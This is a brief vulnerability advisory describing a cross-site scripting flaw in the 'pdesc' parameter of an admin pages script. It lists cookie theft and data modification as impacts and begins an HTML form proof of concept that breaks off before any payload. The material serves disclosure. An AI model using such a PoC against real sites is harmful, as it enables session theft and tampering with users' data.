Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "modules/pages/admin/include/pages.php" script to properly sanitize user-supplied input in "pdesc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/pages/admin/index.php?op=editPage1&quot; method="post" enctype="multipart/form-data" >

<input type="hidden" name="pid" value="0" />
